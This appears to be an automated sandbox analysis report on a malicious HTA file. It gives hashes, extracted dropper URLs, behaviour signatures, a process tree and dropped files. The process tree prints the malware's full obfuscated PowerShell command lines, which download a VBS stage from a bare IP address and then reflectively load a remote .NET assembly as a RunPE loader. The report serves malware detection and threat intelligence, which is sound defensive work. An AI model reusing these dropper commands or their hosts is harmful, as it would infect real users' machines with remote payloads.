Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-09-2024 01:16

General

  • Target

    2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2.hta

  • Size

    115KB

  • MD5

    d6a04e7ba31d063b7176e3f9fc96c46a

  • SHA1

    e8929b14ea18c20d4a81ac3faf681031924c9d14

  • SHA256

    2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2

  • SHA512

    81fc9692f3e031cedbfd0623b69b21017504a8376e14ef3ee002b14517e857e45b07191bb84436e1bfebf1fa8fd6a375dc61716bebb253db2e4c015f740424b0

  • SSDEEP

    96:Ea+M7XjJ7GJyXOVKBhqCJgqC8R7JR2JacLZL+dJAcAT:Ea+QXjJaJpKBgVOJEJwdJArT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bk36txle.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA297.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA296.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2824
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2764
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2436
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') | . ( $eNV:COmspEc[4,26,25]-jOiN'')"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:676

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESA297.tmp

    Filesize

    1KB

    MD5

    364c523969af7503c09d396c3a804df4

    SHA1

    4a5f6f69a75821c23078e4921ef64d5d6c4c8169

    SHA256

    068f695b87410c807830e24cc22b6d2830ac79e58d82085b9df4dcbda150c15c

    SHA512

    2f11d549a6cfba0ac1e93d0627f0dd42ab43ce3c8bbabc640dd11ec4ea0932abed0045baeaaad29b4b14df2e71b5dbb032730ae5b83587aff7202c5f6a3f307d

  • C:\Users\Admin\AppData\Local\Temp\bk36txle.dll

    Filesize

    3KB

    MD5

    2099eb3dc346936d51579d2e10022aca

    SHA1

    44c50580bad727f04d6bb584142f1aa70f26c7fe

    SHA256

    5be55637373d7a0f00fe9b24af2aa344fcfcc945bb39fd400e658fd129de28cb

    SHA512

    04e630cd1f5c9d416d7e14ab5f5787d49929b82d97608081a3915de7c2a1072dcaceb76506b5b10146aa950b877899e102920b92e8040f71e7f44addbc97a10c

  • C:\Users\Admin\AppData\Local\Temp\bk36txle.pdb

    Filesize

    7KB

    MD5

    a73630e3f3a3d30132293bf0c2b8c232

    SHA1

    46790bfc1159f053dbbbfa8f856cef3933d86e4b

    SHA256

    bceead64423fcb118441cc54acf11bfaa349edf5f0a978a165c153dbce7e017c

    SHA512

    fdf7bafaee811ef3a12988954ae02c13de959c2e41d5ae0a37d143022f2657c6cebbc914383294d93d9be15ce3200efb8fd393113779ececfe4d1159c62f6b80

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    2e65d1987e55689aabd97006984a68cb

    SHA1

    8f5ca6a2a01553d183f51a0490eb07cc628c8b92

    SHA256

    6bdf55eb73359648e070b40c172ab77c325b76cd19b1c8f6146a1fe2bfc40935

    SHA512

    74eb196ba95190239697391c1297f9b2bc33f8c3984e46cc4443cf4d2de749b3cde56b6742d10d584adcfef7f288e503d26a8a0ebd3216a2fe06fe1e43837e65

  • C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs

    Filesize

    254KB

    MD5

    10a145cb87654a33c6c0beda947466b8

    SHA1

    a504192f1b5ac44e6e49b4bc9ef660220c604469

    SHA256

    80e7c85eeb0a57e9f50e7d84e0eb1b2f2230837b53080d24696fab7373e9bc03

    SHA512

    fbc4f71668b7af09338ae7060c04dd8feed091b3b7adb490647c92d731cefca4b1e929d36f750563ff0afa14b797984625eaf964f25a3f71b597343d79ec891a

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCA296.tmp

    Filesize

    652B

    MD5

    415843686e121961946f433aea585d0f

    SHA1

    a9f9e055daa73c5b82d14d87c2c366bcd9e26a65

    SHA256

    413f7da2956be45c580addf902862e8c5c93f996c0fceff82b9748195c0b220a

    SHA512

    1913e83b806bb0d228f95c4cac6e6c2c35d409347a53c219238deb357faef336eda478c26a4c286a30e8463cb475d933a9028f71410dda338f3d5d8a76486450

  • \??\c:\Users\Admin\AppData\Local\Temp\bk36txle.0.cs

    Filesize

    474B

    MD5

    f884800327d4027747da358d54a2953c

    SHA1

    b1d1103720a4787bb3cb5832461f367275978422

    SHA256

    13de24eeafc24c4a53199d015b92dd5ddcd552ceaa74fb14d2bbb26dc6366e9b

    SHA512

    cbfd55f5481da04f30d8590b64cc314751b158cbf775686a11f430b0619d069adc16c2a387fd1789b49a10aa760b4ab36cb12f96f21c4208abb89a5f0d52c520

  • \??\c:\Users\Admin\AppData\Local\Temp\bk36txle.cmdline

    Filesize

    309B

    MD5

    bd8cb48cc24397bbd94df793e99dea08

    SHA1

    26c130e3df71ba9af4c1e5d6f03c7e1024c77ffd

    SHA256

    cbee387ee09b57e034991a83a8763160bbb28848f6f84e324e24ed2a95da7e01

    SHA512

    dfbd8f431220343d32352dfdb885c680dd4c32edbba38667214b62ee5a7b68b55da7da47738e231f3f127e63885d6152dcf1310cc8cda759c1a7a09d7435f973